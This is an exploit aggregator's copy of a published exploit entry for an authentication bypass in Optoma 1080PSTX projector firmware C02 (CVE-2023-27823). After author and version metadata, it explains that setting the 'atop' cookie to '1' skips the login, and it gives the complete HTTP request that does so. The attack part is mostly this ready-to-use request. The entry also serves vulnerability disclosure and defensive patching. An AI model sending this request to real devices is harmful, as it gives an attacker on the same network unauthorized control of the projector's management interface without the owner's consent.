Optoma 1080PSTX Firmware C02 Authentication Bypass

Edit Report

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2023050032

Below is a copy:

Optoma 1080PSTX Firmware C02 Authentication Bypass

# Exploit Title: Optoma 1080PSTX Firmware C02 - Auth Bypass
# Date: 2023/05/09
# Exploit Author: Anthony Cole
# Contact: http://twitter.com/acole76
# Website: http://twitter.com/acole76
# Vendor Homepage: http://optoma.com
# Version: Optoma 1080PSTX Firmware C02
# Tested on: N/A
# CVE : CVE-2023-27823

Details
By default the web interface of the 1080PSTX requires a username and password to access the application control panel.  However, an attacker, on the same network, can bypass it by manually setting the "atop" cookie to the value of "1".

GET /index.asp HTTP/1.1
Host: projector
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.5563.111 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: atop=1
Connection: close

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